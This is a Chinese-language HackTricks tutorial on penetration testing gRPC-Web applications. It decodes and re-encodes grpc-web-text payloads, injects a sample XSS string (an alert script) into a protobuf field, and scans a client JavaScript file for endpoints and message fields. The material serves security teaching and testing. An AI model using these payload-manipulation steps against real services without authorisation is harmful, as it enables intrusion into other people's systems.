gRPC-Web Pentest

从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS Red Team Expert)

支持HackTricks的其他方式:

操纵gRPC-Web负载

gRPC-Web在请求中使用Content-Type: application/grpc-web-text,这种形式类似于base64编码的protobuf,您可以使用gprc-coder工具,也可以安装其Burp Suite扩展程序

使用gGRPC Coder工具手动操作

  1. 首先解码负载:

echo "AAAAABYSC0FtaW4gTmFzaXJpGDY6BVhlbm9u" | python3 grpc-coder.py --decode --type grpc-web-text | protoscope > out.txt

2. 编辑解码后的有效负载内容

在拦截和解码 gRPC 流量后,攻击者可以编辑有效负载内容以尝试执行各种攻击。这可能包括更改请求参数、注入恶意代码或修改数据以触发应用程序中的漏洞。编辑有效负载内容是一种常见的渗透测试技术,可帮助发现应用程序中的安全漏洞。

nano out.txt
2: {"Amin Nasiri Xenon GRPC"}
3: 54
7: {"<script>alert(origin)</script>"}
  1. 编码新的有效载荷

protoscope -s out.txt | python3 grpc-coder.py --encode --type grpc-web-text
  1. 在Burp拦截器中使用输出:

AAAAADoSFkFtaW4gTmFzaXJpIFhlbm9uIEdSUEMYNjoePHNjcmlwdD5hbGVydChvcmlnaW4pPC9zY3JpcHQ+

使用 gRPC-Web Coder Burp Suite 扩展的手册

您可以在 gRPC-Web 渗透测试套件 中使用 gRPC-Web Coder Burp Suite 扩展,这样更容易。您可以在其存储库中阅读安装和使用说明。

分析 gRPC-Web JavaScript 文件

每个 gRPC-Web 应用程序中至少有一个 JavaScript 文件。您可以分析该文件以查找新消息、端点和服务。尝试使用 gRPC-Scan 工具。

  1. 下载 JavaScript gRPC-Web 文件

  2. 使用 grpc-scan.py 进行扫描:

python3 grpc-scan.py --file main.js
  1. 分析输出并测试新的端点和新的服务:

Output:
Found Endpoints:
/grpc.gateway.testing.EchoService/Echo
/grpc.gateway.testing.EchoService/EchoAbort
/grpc.gateway.testing.EchoService/NoOp
/grpc.gateway.testing.EchoService/ServerStreamingEcho
/grpc.gateway.testing.EchoService/ServerStreamingEchoAbort

Found Messages:

grpc.gateway.testing.EchoRequest:
+------------+--------------------+--------------+
| Field Name |     Field Type     | Field Number |
+============+====================+==============+
| Message    | Proto3StringField  | 1            |
+------------+--------------------+--------------+
| Name       | Proto3StringField  | 2            |
+------------+--------------------+--------------+
| Age        | Proto3IntField     | 3            |
+------------+--------------------+--------------+
| IsAdmin    | Proto3BooleanField | 4            |
+------------+--------------------+--------------+
| Weight     | Proto3FloatField   | 5            |
+------------+--------------------+--------------+
| Test       | Proto3StringField  | 6            |
+------------+--------------------+--------------+
| Test2      | Proto3StringField  | 7            |
+------------+--------------------+--------------+
| Test3      | Proto3StringField  | 16           |
+------------+--------------------+--------------+
| Test4      | Proto3StringField  | 20           |
+------------+--------------------+--------------+

grpc.gateway.testing.EchoResponse:
+--------------+--------------------+--------------+
|  Field Name  |     Field Type     | Field Number |
+==============+====================+==============+
| Message      | Proto3StringField  | 1            |
+--------------+--------------------+--------------+
| Name         | Proto3StringField  | 2            |
+--------------+--------------------+--------------+
| Age          | Proto3IntField     | 3            |
+--------------+--------------------+--------------+
| IsAdmin      | Proto3BooleanField | 4            |
+--------------+--------------------+--------------+
| Weight       | Proto3FloatField   | 5            |
+--------------+--------------------+--------------+
| Test         | Proto3StringField  | 6            |
+--------------+--------------------+--------------+
| Test2        | Proto3StringField  | 7            |
+--------------+--------------------+--------------+
| Test3        | Proto3StringField  | 16           |
+--------------+--------------------+--------------+
| Test4        | Proto3StringField  | 20           |
+--------------+--------------------+--------------+
| MessageCount | Proto3IntField     | 8            |
+--------------+--------------------+--------------+

grpc.gateway.testing.ServerStreamingEchoRequest:
+-----------------+-------------------+--------------+
|   Field Name    |    Field Type     | Field Number |
+=================+===================+==============+
| Message         | Proto3StringField | 1            |
+-----------------+-------------------+--------------+
| MessageCount    | Proto3IntField    | 2            |
+-----------------+-------------------+--------------+
| MessageInterval | Proto3IntField    | 3            |
+-----------------+-------------------+--------------+

grpc.gateway.testing.ServerStreamingEchoResponse:
+------------+-------------------+--------------+
| Field Name |    Field Type     | Field Number |
+============+===================+==============+
| Message    | Proto3StringField | 1            |
+------------+-------------------+--------------+

grpc.gateway.testing.ClientStreamingEchoRequest:
+------------+-------------------+--------------+
| Field Name |    Field Type     | Field Number |
+============+===================+==============+
| Message    | Proto3StringField | 1            |
+------------+-------------------+--------------+

grpc.gateway.testing.ClientStreamingEchoResponse:
+--------------+----------------+--------------+
|  Field Name  |   Field Type   | Field Number |
+==============+================+==============+
| MessageCount | Proto3IntField | 1            |
+--------------+----------------+--------------+

参考资料

从零开始学习 AWS 黑客技术,成为专家 htARTE(HackTricks AWS 红队专家)

支持 HackTricks 的其他方式:

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